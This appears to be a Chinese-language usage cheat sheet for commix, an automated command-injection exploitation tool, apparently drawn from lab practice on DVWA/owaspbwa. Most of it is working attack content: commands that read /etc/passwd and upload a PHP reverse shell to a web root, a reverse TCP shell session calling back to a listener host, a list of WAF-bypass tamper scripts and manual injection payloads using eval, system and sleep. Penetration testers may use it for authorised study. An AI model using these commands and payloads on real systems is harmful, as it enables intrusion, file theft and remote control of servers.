跳到主要内容

Commix 命令总结

兴家犹如针挑土,败家好似浪淘沙。

导航


壹 - 工具简介

commix 是一款模仿 sqlmap 以对 命令 注入漏洞进行自动化检测与利用的开源工具。

贰 - 命令用法

[*]目标

选项:-u单一目标 URL 进行扫描。

commix -u "http://www.target.com/vuln.php?cmd=id" --hostname

选项:-r 可直接 从文本中读取 HTTP 请求,进而免于配置请求相关的参数。如,--data、--cookie 等。

commix -r http-request.txt --hostname

选项:-m 可从文本文件中读取多个目标进行 批量扫描

commix -m url-list.txt --hostname

请求

选项:--method 可强制使用 HTTP 的方法。

commix -u "http://www.target.com/vuln.php" --method="GET" --hostname

选项:--data 可附带 POST 请求所需要 发送的数据

commix -u "http://www.target.com/vuln.php" --data="cmd=id" --hostname

选项:--cookie 可附带 Web 会话所需的 身份信息。【注:在面对那些需要登录才能访问的页面时,此选项很必须。】

commix -u "http://www.target.com/vuln.php" --cookie="security=low;PHPSESSID=cju1k9fnrue6" --hostname

注入

选项:-p 对指定的参数进行测试,但这会使 commix 忽略 --level 的设置。

#仅测试 GET 参数 id 和 HTTP User-Agent。
commix -u "http://www.target.com/vuln.php?cmd=id&cmd2=id" -p "cmd,cmd2" --hostname

选项:--skip跳过 对指定的参数进行测试,通常需要配合 --level 使用。

#跳过对 HTTP 请求中 cmd2 参数的测试。
commix -u "http://www.target.com/vuln.php?cmd=id&cmd2=id" --skip "cmd2" --hostname

[*]检测

选项:--level 可控制 commix 检测 注入点的范围。【默认为 1 则只是测试 GET 和 POST 的相关参数,等于 2 则会增加测试 HTTP Cookie 头部,等于 3 则会增加测试 HTTP UserAgent/Referer 头部值。总而言之, 值越高检测的范围也会越大。】

commix -u "http://www.target.com/vuln.php?cmd=id" --level 3 --hostname

选项:--shellshock 可检测目标的 cgi 脚本是否存在 shellshock 漏洞。

commix -u "http://www.target.com/test.cgi" --shellshock --hostname

选项:--technique 可指定检测命令注入的技术,默认情况下使用的是 TECF 技术进行探测。其主要有 4 种检测技术,分别是:(C)lassic【基于输出的结果】、Dynamic Code (E)valuation【基于代码注入的输出结果】、(T)ime-based【基于时间】、(F)ile-based【基于文件输出】。此外,在使用基于时间的技术时,可配合选项--maxlen=MAXLEN--time-sec=SECONDS 对载荷的行为进行限定;在使用基于文件输出的技术时,可配合选项 --web-root 通过 URL 进行输出结果验证。

#使用基于时间的盲注技术进行探测,并要求:返回的的结果字串长度最长提取到 100 个字符即可,每次进行时间注入等待的时长是 1 秒。
commix -u "http://www.target.com/vuln.php?cmd=id" --technique=t --maxlen=100 --time-sec=1 --hostname

#使用基于文件输出的盲注技术进行探测。【注意:关于命令执行输出文件的 URL 一定要能访问到才行,如 owaspbwa 的 dvwa,web-root 是 "/var/www/dvwa/",那么对应的 URL 便应该是 http://1.1.1.1/dvwa/ZYELVX.txt 才行。】
commix -u "http://www.target.com/vuln.php?cmd=id" --technique=f --web-root="/var/www/html/"

选项:--tamper 可指定脚本以对载荷进行变形处理;--list-tampers 则会列出可用的变形脚本。【注:该选项主要是用来绕过 WAF 的。】

#对载荷进行 base64 编码处理。【注:由于目标不一定会进行解码处理,因此该脚本容易出错。】
commix -u "http://www.target.com/vuln.php?cmd=id" -v 2 --tamper=base64encode --hostname

脚本介绍:

  • backslashes.py — 在生成的字符串/负载字符之间插入反斜杠 \(转义/插入分隔符)。
  • backticks.py — 用反引号 ... 形式替换 $(...) 的命令替换写法(语法变体)。
  • base64encode.py — 将整个负载以 Base64 编码(编码层面的封装)。
  • caret.py — 在字符之间插入插入符号 ^(常见于 Windows 命令行转义)。
  • dollaratsigns.py — 在字符间插入 $@(特殊符号序列)。
  • doublequotes.py — 在字符之间插入双引号 "(分隔/嵌套影响解析)。
  • hexencode.py — 将所有字符用十六进制表示或以十六进制编码呈现。
  • multiplespaces.py — 在 OS 命令两侧或内部插入多余空格(扰乱简单匹配)。
  • nested.py — 对生成的负载外层再加一层双引号(嵌套引号变体)。
  • printf2echo.py — 将基于 printf 的 ASCII->十进制转换替换为使用 echo | od 的等价流程(工具替换)。
  • rev.py — 逐字符反转(字符顺序反转)。
  • singlequotes.py — 在字符之间插入单引号 '
  • slash2env.py — 将斜杠 / 替换为某个环境变量引用的展开(例如用环境变量片段代替字面 /)。
  • sleep2timeout.py — 用 timeout 等工具代替 sleep(时间控制命令替换)。
  • sleep2usleep.py — 用 usleep 替代 sleep(更细粒度/不同可用工具)。
  • space2htab.py — 将空格替换为水平制表符(\t)。【*】
  • space2ifs.py — 将空格替换为 $IFS(shell 中内部字段分隔符)。【*】
  • space2plus.py — 将空格替换为 +(URL/解析影响)。
  • space2vtab.py — 将空格替换为垂直制表符(\v)。
  • uninitializedvariable.py — 在字符之间插入随机未初始化的 Bash 变量名(例如 $RANDOMVAR 未定义时的表现)。【*】
  • xforwardedfor.py — 在 HTTP 层面附加伪造的 X-Forwarded-For 等请求头(网络请求层面伪装/测试)。

枚举

选项:--hostname--current-user--sys-info--users 可显示 系统 相关信息。

commix -u "http://www.target.com/vuln.php?cmd=id" --hostname --current-user --sys-info --users

...输出结果...
[23:24:37] [info] Fetching hostname.
[23:24:43] [info] Hostname: owaspbwa
[23:24:43] [info] Fetching current user.
[23:24:43] [info] Current user: www-data
[23:24:43] [info] Fetching the underlying operating system information.
[23:24:43] [info] Operating system: Linux Ubuntu 10.04 i686
[23:24:43] [info] Fetching content of the file '/etc/passwd' in order to enumerate operating system users.
[23:24:49] [info] Identified operating system users [32]:
|_ (1) 'root' (uid=0). Home directory is in '/root'.
|_ (2) 'daemon' (uid=1). Home directory is in '/usr/sbin'.
...

[*]杂项

选项:-v 可控制输出信息的详细等级。 默认是 1,使用 0 则输出会更简洁,如要 debug 则可使用 2 即可看到发出的每个 HTTP 请求中的载荷是怎样的。

选项:--wizard 可为用户提供一个询问式向导界面。

选项:--batch 可让 commix 直接按照默认的选项运行,不再不停的询问。

选项:--purge 可清空 commix 的会话文件内容。【注:默认的会话缓存路径 ~/.commix/output/

选项:--ignore-session 虽不会清空 commix 的会话文件内容,但它可以让你避免被其缓存机制所干扰。

选项:--os-cmd 可在目标服务器运行指定的命令。

commix -u "http://www.target.com/vuln.php?cmd=id" --os-cmd "uname -a"

选项:--file-read 可在目标服务器文件系统中读取文件

commix -u "http://www.target.com/vuln.php?cmd=id" --file-read "/etc/passwd"

选项:--file-write --file-dest 可向目标服务器文件系统中写入文件。【注:file-write 参数是本地文件,file-dest 参数是远端文件。】

commix -u "http://www.target.com/vuln.php?cmd=id" --file-write "/root/php-reverse-shell.php" --file-dest "/var/www/html/shell.php"

叁 - 杂七杂八

(1)常用示例。

#常规检测
commix -u "http://www.target.com/vuln.php" --data="cmd=id" --cookie="security=low;PHPSESSID=cju1k9fnrue6" --hostname

#增强检测
commix -u "http://www.target.com/vuln.php" --data="cmd=id" --cookie="security=low;PHPSESSID=cju1k9fnrue6" -p "cmd" --level 3 --hostname --ignore-session

#CGI BASH 脚本检测(ShellShock 漏洞)
commix -u "http://www.target.com/test.cgi" --shellshock --hostname

#服务器文件读取
commix -u "http://www.target.com/vuln.php?cmd=id" --file-read "/etc/passwd"

(2)默认的 os_shell 用法:

#使用 BASH 反向 TCP 获得 Shell
commix -u "http://www.target.com/vuln.php?cmd=id" --batch
commix(os_shell) > reverse_tcp
commix(reverse_tcp) > set LHOST 1.1.1.1
commix(reverse_tcp) > set LPORT 1234
commix(reverse_tcp) > 2
commix(reverse_tcp_other) > 6

(3)手工注入技术

#基于输出结果的注入
?id=1;id
?id=1&&whoami
?id=1|uname -a

#基于代码注入的输出结果【源代码:<?php $input = $_GET['cmd'];eval($input);?>】
?cmd=system('id')
?cmd=echo shell_exec('uname -a')
?cmd=file_put_contents('/tmp/owned.txt','pwned')

#基于时间
; sleep 5

#基于文件的输出(1)
; whoami > /var/www/html/output.txt
#再借助 curl http://target/output.txt 检验

#基于文件的输出(2)
; whoami > /tmp/X7s9o.txt
; [ $(wc -c < /tmp/X7s9o.txt) -eq 5 ] && sleep 5